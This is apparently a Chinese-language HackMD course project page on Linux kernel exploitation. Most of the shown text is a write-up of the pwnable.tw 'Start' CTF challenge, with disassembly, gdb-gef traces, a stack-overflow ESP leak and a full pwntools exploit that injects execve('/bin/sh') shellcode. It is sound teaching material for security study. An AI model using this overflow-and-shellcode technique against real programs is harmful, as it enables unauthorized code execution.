Try   HackMD

Linux 核心專題: PWN

執行人: Welly0902

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
提問清單

  • AjMaChInE - exploitation 之前會先找到 vulnerability。對於 KERNEL 來說,google 的 syzkaller 專門在做這件事,他是 state-of-the-art coverage-guided kernel fuzzing,會是這類型研究工具開發比較的對象。如果找到漏洞就會給出 CVE 編號。假設找到某種 vulnerability,不同的 vulnerability 類型會有不同的 exploitation 方法。對於 OOB W vulnerability 類型 和 UAF 類型面臨的 exploitation 方法就會不一樣。KERNEL exploitation 目標會有 RCE 或者 LPE,最常見的是 LPE,相比 KERNEL RCE,KERNEL RCE 較難有完整的 exploitation chain 與好用的場景,但很有價值。而 exploitation 第一關要 bypass 的防禦機制是 ASLR,在 KERNEL 就叫 KASLR。舉例: Linux_LPE_eBPF_CVE-2021-3490,可以查 CVE-2021-3490,這都會有 KERNEL 版本影響範圍,再來是可以做到 LPE。哪種漏洞類型? 怎 bypass KASLR ? 就可以開始研究了。另外 kernelCTF: add CVE-2023-0461_mitigation,他是 UAF 類型,給你參考。

任務簡述

藉由回顧經典的 PWN 手法,理解 Linux 核心機制。本任務應在 Linux v5.15+ 驗證。

TODO: 整理 Linux Kernel Exploitation

整理 Linux Kernel Exploitation 並重現相關實驗。

簡報: Kernel Exploitation
筆記: Linux Kernel pwn
台灣大學計算機安全 (2019)

至少要涵蓋以下:

  • ret2user
  • status switch
  • KPTI
  • kernel information leak
  • userfaultfd
  • race condition
  • setxattr
  • signal handler

在 Linux v5.15+ 驗證後,需要探討對應的原理,佐以 Linux 核心原始程式碼說明。

Introduction

PWN 也就是 "OWN" 這個字打錯字而來。通常意指破解了程式的漏洞而佔領了系統。有接觸過 CTF 的對打 PWN 這個詞應該不會太陌生。通常駭客在竊取機密資料時會需要通過 Cyber kill chain 一連串的步驟才能夠達成目的,而打 PWN 就是練習其中 exploitation 環節的一種很好的方式,而 exploitation 手法種類繁多,對有何手法有興趣可以參考 MITRE ATT&CK Matrices 有根據不同階段及目的記載不同的手法。當然並不是只有駭客會需要知道 PWN,國內的資安公司如 DEVCORE、數聯資安等在替甲方企業端進行滲透測試或是紅藍軍演練時,以及防毒軟體公司在針對病毒 pattern 去阻擋時都有可能用到 PWN 其中的技巧。

本篇會根據 Linux Kernel Exploitation 這個 PWN Linux Kernel 的 lab,一方面學習如何打 PWN,一方面也去了解 Linux Kernel 針對這些漏洞的 exploitation 有什麼保護機制,並透過 GDB 分析 code 時去理解程式與作業系統互動的機制。

Tools

gdb-gef
seccomp-tools
ROPgadget
GHIDRA
QEMU

Binary Exploitation

或許在去 exploit kernel 前,先了解 binary exploitation 會對之後 kernel exploitation 在做什麼會比較有概念。這裡先拿台灣的 CTF 網站 pwnable.tw 的第一個 challenge: Start 來去熟悉 PWN 的流程。

在 binary exploitation 中,顧名思義通常會先拿到一個 binary file

$ file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

接下來 CTF PWN 的流程大概如下:

  1. 對 binary file 進行 reverse engineering 從 assembly code 去猜測此 binary 在做什麼。
  2. 透過 GDB 去嘗試破解存在漏洞處。
  3. 透過 pwntools 來撰寫一支程式,並利用此程式獲得 flag
  4. 回傳 flag,CTF PWNED!

Reverse engineering

拿到 binary 後,首先我們可以先在 gdb 中用 checksec 去檢查此 binary 在 gcc 編譯時有加了哪些保護機制。

gef➤  checksec
[+] checksec for '/home/harv/Desktop/pwnable.tw/start'
Canary                        : ✘ 
NX                            : ✘ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : ✘ 
  • Canary: buffer 中一段空間塞一段特定值,當被 BOF 時與此值相比就會發現不同而使程式 crash
  • NX: Non-executable,加一個 NX bit 來標示此段 memory 無法執行
  • PIE: 開啟 ASLR,讓 process 載入 memory 的初始 address 為隨機
  • Fortify: glibc 中一個去檢查 BOF 的 macro
  • RelRO: Relocation Read-Only,使某些 binary section read only

接著我們可以利用 objdump 來看我們的 assembly code:

$ objdump -D start -M intel


start:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	54                   	push   esp
 8048061:	68 9d 80 04 08       	push   0x804809d
 8048066:	31 c0                	xor    eax,eax
 8048068:	31 db                	xor    ebx,ebx
 804806a:	31 c9                	xor    ecx,ecx
 804806c:	31 d2                	xor    edx,edx
 804806e:	68 43 54 46 3a       	push   0x3a465443
 8048073:	68 74 68 65 20       	push   0x20656874
 8048078:	68 61 72 74 20       	push   0x20747261
 804807d:	68 73 20 73 74       	push   0x74732073
 8048082:	68 4c 65 74 27       	push   0x2774654c
 8048087:	89 e1                	mov    ecx,esp
 8048089:	b2 14                	mov    dl,0x14
 804808b:	b3 01                	mov    bl,0x1
 804808d:	b0 04                	mov    al,0x4
 804808f:	cd 80                	int    0x80
 8048091:	31 db                	xor    ebx,ebx
 8048093:	b2 3c                	mov    dl,0x3c
 8048095:	b0 03                	mov    al,0x3
 8048097:	cd 80                	int    0x80
 8048099:	83 c4 14             	add    esp,0x14
 804809c:	c3                   	ret    

0804809d <_exit>:
 804809d:	5c                   	pop    esp
 804809e:	31 c0                	xor    eax,eax
 80480a0:	40                   	inc    eax
 80480a1:	cd 80                	int    0x80

也可以使用 GDB 來看:

gef➤  disas _start
Dump of assembler code for function _start:
   0x08048060 <+0>:	push   esp
   0x08048061 <+1>:	push   0x804809d
   0x08048066 <+6>:	xor    eax,eax
   0x08048068 <+8>:	xor    ebx,ebx
   0x0804806a <+10>:	xor    ecx,ecx
   0x0804806c <+12>:	xor    edx,edx
   0x0804806e <+14>:	push   0x3a465443
   0x08048073 <+19>:	push   0x20656874
   0x08048078 <+24>:	push   0x20747261
   0x0804807d <+29>:	push   0x74732073
   0x08048082 <+34>:	push   0x2774654c
   0x08048087 <+39>:	mov    ecx,esp
   0x08048089 <+41>:	mov    dl,0x14
   0x0804808b <+43>:	mov    bl,0x1
   0x0804808d <+45>:	mov    al,0x4
   0x0804808f <+47>:	int    0x80
   0x08048091 <+49>:	xor    ebx,ebx
   0x08048093 <+51>:	mov    dl,0x3c
   0x08048095 <+53>:	mov    al,0x3
   0x08048097 <+55>:	int    0x80
   0x08048099 <+57>:	add    esp,0x14
   0x0804809c <+60>:	ret    
End of assembler dump.

觀察以上的 assembly code 可觀察到以下行為:

  1. 清除 eax, ebx, ecx, edx register 的值成為 0
  2. 0x0804806e - 0x08048082 將值 push 進到 stack,存值方式為 little-endian,把 hex 對應回 ascii table 可看出對應字串為 Let's start the CTF:
0x0804806e <+14>: push 0x3a465443 # 3a 46 54 43 # : F T C #<-----little-endian----------
  1. 接著可以看到有兩個 int 0x80,也就是 interrupt 來利用 syscall,可查詢 32 bit 對應的 syscall 來知道分別是 sys_writesys_read
name eax ebx ecx edx
sys_write 0x04 fd = 1 char *buf = esp count = 0x14
   0x08048087 <+39>:	mov    ecx,esp
   // ecx 放入 esp 
   0x08048089 <+41>:	mov    dl,0x14
   // dl 是 edx 的 lower 8 bit,設為 20 bytes
   0x0804808b <+43>:	mov    bl,0x1
   // 設為1,stdout
   0x0804808d <+45>:	mov    al,0x4
   // eax 決定使用哪個 syscall,4為 sys_write
   0x0804808f <+47>:	int    0x80
  1. add esp,0x14 也就是 esp 加上20,因為 stack 愈接近 top 的地址的 address 值愈小,所以加上20作用類似於 function epilogue 回收 buffer 空間的動作






G



rsp

$esp 



stack

Stack

0x2774654c (Let’)

0x74732073 (s st)

0x20747261 (art )

0x20656874 (the )

0x3a465443 (CTF:)

offset _exit

Saved ESP



rsp:p->stack:bp





GDB 觀察

使用 gef 來進行 debug,這邊想要觀察 syscall write 與 read 與 memory 之間的互動,所以把 breakpoint 設在 int 0x80 之前,並可以輸入 ni 觀察每執行一行 instruction 所帶來的變化

gef➤  b *0x0804808d
Breakpoint 1 at 0x804808d
gef➤  r
Starting program: /home/harv/Desktop/pwnable.tw/start 

Breakpoint 1, 0x0804808d in _start ()

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0x1       
$ecx   : 0xffffd4740x2774654c ("Let'"?)
$edx   : 0x14      
$esp   : 0xffffd4740x2774654c ("Let'"?)
$ebp   : 0x0       
$esi   : 0x0       
$edi   : 0x0       
$eip   : 0x0804808d  →  <_start+45> mov al, 0x4
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x00 
────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd474│+0x0000: 0x2774654c	 ← $esp
0xffffd478│+0x0004: 0x74732073
0xffffd47c│+0x0008: 0x20747261
0xffffd480│+0x000c: 0x20656874
0xffffd484│+0x0010: 0x3a465443
0xffffd488│+0x0014: 0x0804809d  →  <_exit+0> pop esp
0xffffd48c│+0x0018: 0xffffd4900x00000001
0xffffd490│+0x001c: 0x00000001
──────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048087 <_start+39>      mov    ecx, esp
    0x8048089 <_start+41>      mov    dl, 0x14
    0x804808b <_start+43>      mov    bl, 0x10x804808d <_start+45>      mov    al, 0x4
    0x804808f <_start+47>      int    0x80
    0x8048091 <_start+49>      xor    ebx, ebx
    0x8048093 <_start+51>      mov    dl, 0x3c
    0x8048095 <_start+53>      mov    al, 0x3
    0x8048097 <_start+55>      int    0x80
──────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "start", stopped 0x804808d in _start (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804808d → _start()
─────────────────────────────────────────────────────────────────────────────────────────

ni 至 eip 指向 int 0x80 也就是下一行要執行 sys_write 時,再次 ni 後可看到:

gef➤ ni Let's start the CTF:0x08048091 in _start () [ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0x14 $ebx : 0x1 $ecx : 0xffffd474 → 0x2774654c ("Let'"?) $edx : 0x14 $esp : 0xffffd474 → 0x2774654c ("Let'"?) $ebp : 0x0 $esi : 0x0 $edi : 0x0 $eip : 0x08048091 → <_start+49> xor ebx, ebx $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x00 ────────────────────────────────────────────────────────────────────────────── stack ──── 0xffffd474│+0x0000: 0x2774654c ← $esp 0xffffd478│+0x0004: 0x74732073 0xffffd47c│+0x0008: 0x20747261 0xffffd480│+0x000c: 0x20656874 0xffffd484│+0x0010: 0x3a465443 0xffffd488│+0x0014: 0x0804809d → <_exit+0> pop esp 0xffffd48c│+0x0018: 0xffffd490 → 0x00000001 0xffffd490│+0x001c: 0x00000001 ──────────────────────────────────────────────────────────────────────── code:x86:32 ──── 0x804808b <_start+43> mov bl, 0x1 0x804808d <_start+45> mov al, 0x4 0x804808f <_start+47> int 0x80 → 0x8048091 <_start+49> xor ebx, ebx 0x8048093 <_start+51> mov dl, 0x3c 0x8048095 <_start+53> mov al, 0x3 0x8048097 <_start+55> int 0x80 0x8048099 <_start+57> add esp, 0x14 0x804809c <_start+60> ret ──────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "start", stopped 0x8048091 in _start (), reason: SINGLE STEP ────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x8048091 → _start()

首先可以看到終端機輸出 Let's start the CTF:0x08048091 in _start () 也就是如果正常執行程式輸入值之前會看到輸出的字串。這裡 sys_write 所做的事就是將 stack 中目前 esp 所指到的地址抓 20 個位元組輸出於標準輸出。

這裡可以實驗看看如果我們在 sys_write 參數中,讓原本 20 個位元組設成 28 個位元組,會不會印出 stack 中預期外的值:

gef➤  set $edx = 0x1b
gef➤  ni
Let's start the CTF:????0x08048091 in _start ()

可以看到輸出的字變成 Let's start the CTF:????,多出來的字元即是讀超出原本規劃存放 return 地址及其他預期外資料 0x0804809d0xffffd490 共8個 bytes,這些 hex 經過轉譯成 ascii string 後可發現為特殊符號,所以在 terminal 上印出來為 ?

接著同理送出 sys_read 的 syscall,這裡再用 gef 觀察。當執行到 int 0x80 此時 fd = 0 (stdin) 可以輸入值。而從 edx 被設為 0x3c 我們可以知道一共會有 60 bytes 透過 sys_read 被寫進 stack 裡,我們用 gef 來驗證:

# 此時下一行執行 int 0x80
# 先創造 70 bytes 然後 ni 後輸入

gef➤  python print("a"*70)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
gef➤  ni 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
0x08048099 in _start ()

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x3c      
$ebx   : 0x0       
$ecx   : 0xffffd474"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$edx   : 0x3c      
$esp   : 0xffffd474"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$ebp   : 0x0       
$esi   : 0x0       
$edi   : 0x0       
$eip   : 0x08048099  →  <_start+57> add esp, 0x14
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x00 
────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd474│+0x0000: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"$esp
0xffffd478│+0x0004: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
0xffffd47c│+0x0008: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
0xffffd480│+0x000c: 0x61616161
0xffffd484│+0x0010: 0x61616161
0xffffd488│+0x0014: 0x61616161
0xffffd48c│+0x0018: 0x61616161
0xffffd490│+0x001c: 0x61616161
──────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048093 <_start+51>      mov    dl, 0x3c
    0x8048095 <_start+53>      mov    al, 0x3
    0x8048097 <_start+55>      int    0x800x8048099 <_start+57>      add    esp, 0x14
    0x804809c <_start+60>      ret    
    0x804809d <_exit+0>        pop    esp
    0x804809e <_exit+1>        xor    eax, eax
    0x80480a0 <_exit+3>        inc    eax
    0x80480a1 <_exit+4>        int    0x80
──────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "start", stopped 0x8048099 in _start (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048099 → _start()

此時我們可以看到上面顯示的 stack 範圍內 0xffffd474 (stack top 也是 esp 所指之處)0xffffd490 一共 28 bytes 都被填入 a。不過剛總共輸入 70 bytes 的 a,再用 gef 檢查一下:

# 'a' = 0x61 gef➤ x/20xw 0xffffd474 0xffffd474: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd484: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd494: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffd4a4: 0x61616161 0x61616161 0x61616161 0xffffd694 0xffffd4b4: 0xffffd6a1 0xffffd6b6 0xffffd6c5 0xffffd6d4

由上可以看出總共只寫入了 60 bytes 的 a。

如此一來,結合 sys_writesys_read 將會留給我們寫入 shellcode 的空間。

漏洞利用

從上述 gef 的觀察,可以知道有 BOF 的漏洞可以讓我們改寫 return address 進以操作。但此時並沒有辦法直接改寫 return address 到一個 function 來開 shell,故需將 shell code 寫入 memory 加以執行。

在這之前,因為 EIP 每次執行程式的地址都會不同,所以我們必須先 information leak 將 EIP address leaked 出來再利用。

def leak_esp(p):
    start = p.recvuntil(':')
    payload = b'a'*0x14 + p32(0x08048087)
    p.send(payload)
    saved_esp = p.recv()[:4]
    return u32(saved_esp)

這裡我們設計 payload 時,先用 20 bytes 的 a 將 stack 填滿,接下來的 32 bit 就可以將原先的 return address 給 overwrite。







G



rsp

$esp 



stack

Stack

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x08048087 (mov ecx,esp)

Saved ESP



rsp:p->stack:bp





當寫入完成後,此時要執行最後兩行:

0x08048099 <+57>: add esp,0x14 0x0804809c <+60>: ret

add esp,0x14 後,ESP 往下 20 bytes(高地址),stack 變為如下:







G



rsp

$esp 



stack

Stack

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x08048087 (mov ecx,esp)

Saved ESP



rsp:p->stack:4





此時 return 又會重新回到準備要做 sys_write,就可以利用sys_write 將寫回的 20 bytes 中的前4個 bytes 取出,就得到 ESP 的 base address 了。

接下來我們想要開 shell,這裡需用到 syscall execve 去執行 execve(“/bin/sh”,NULL,NULL) 來達到效果。

類似上面 sys_write 放參數的方式,寫成 assembly code 後,再以 assembler 轉譯成 machine code 後就得到了 shellcode,程式如下:

shellcode='''
xor eax,eax
push eax
push %s
push %s
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov al, 0xb
int 0x80''' %(u32('/sh\0'),u32('/bin'))

# 傳送第二次 payload 達成開 shell
def pwn(p,saved_esp):
    payload = b'a'*0x14 + p32(saved_esp + 20) + asm(shellcode)
    p.send(payload)
    p.interactive()

在知道了 ESP base address 後,因為程式剩下的 instruction 還剩下一次 sys_read,我們就可以利用再一次對 stack 的寫入去將 shellcode 也塞進去,並運用剛 leaked 出來的 ESP address,把 return address 指到 shellcode 所在的地址,示意圖如下:







G



rsp

$esp 



stack

Stack

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x08048087 (mov ecx,esp)

Saved ESP



rsp:p->stack:4





rsp2

leaked $esp 



rsp2:p->stack:0





這ㄧ次送進 sys_read 的 payload 為:

payload = b'a'*0x14 + p32(saved_esp + 20) + asm(shellcode)`

這次除了又從 ESP 開始填滿了 20 bytes 的 a 之外,剛 leaked 的 address 加上 20 bytes 剛好就會指到 shellcode 上







G



rsp

$esp 



stack

Stack

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

0x61616161 (aaaa)

address of leaked address + 20 bytes

Shellcode



rsp:p->stack:24





rsp2

leaked $esp 



rsp2:p->stack:20





rsp3

leaked $esp +20 bytes 



rsp3:p->stack:0





所以從上圖看 return 到 shellcode 所在位置,成功開 shell,就可以開啟 flag。

$ cat /home/start/flag
FLAG{*************}

完整程式參考本篇:

$ python3 --version
Python 3.10.6
from pwn import *
from binascii import *

shellcode='''
xor eax,eax
push eax
push %s
push %s
mov ebx, esp
xor ecx,ecx
xor edx,edx
mov al, 0xb
int 0x80''' %(u32('/sh\0'),u32('/bin'))

def leak_esp(p):
    start = p.recvuntil(':')
    payload = b'a'*0x14 + p32(0x08048087)
    p.send(payload)
    saved_esp = p.recv()[:4]
    return u32(saved_esp)

def pwn(p,saved_esp):
    payload = b'a'*0x14 + p32(saved_esp + 20) + asm(shellcode)
    p.send(payload)
    p.interactive()

if __name__ == '__main__':
    p = remote("chall.pwnable.tw",10000)
    saved_esp = leak_esp(p)
    print("leak saved_esp: " ,hex(saved_esp+20))
    pwn(p,saved_esp)

Kernel Exploitaion

Reference

https://www.kernel.org/doc/Documentation/security/self-protection.txt
https://cirosantilli.com/linux-kernel-module-cheat/
https://github.com/david942j/seccomp-tools
https://www.youtube.com/playlist?list=PL-ymxv0nOtqowTpJEW4XTiGQYx6iwa6og
台灣大學計算機安全 (2019)

TODO: 經典 PWN 解說和彙整

kernel pwn 選出至少 4 個能在 Linux v5.15+ 重現的案例,予以解說並彙整相關素材。







G



rsp

$rsp 



stack

Stack

...

0x41414141 

0x3 

0x0000000000400675 

0x0000000000400660 

0x00007fffffffe408 

0x00007fffffffe328 



rsp:p->stack:0





rbp

$rbp 



rbp:p->stack:bp





rsp_4

$rsp + 4 




rsp_8

$rsp + 8 




rsp_12

$rsp + 12 




val

Values

...

0xffffffff 

0xfff908987 

(0x00007fffffffe67d): aaaaa 

(main): sub rsp,0x8 

blabala 

(main+21): call 0x4005a0 




stack:4->val:3





stack:8->val:4





stack:0->val:2





stack:12->val:6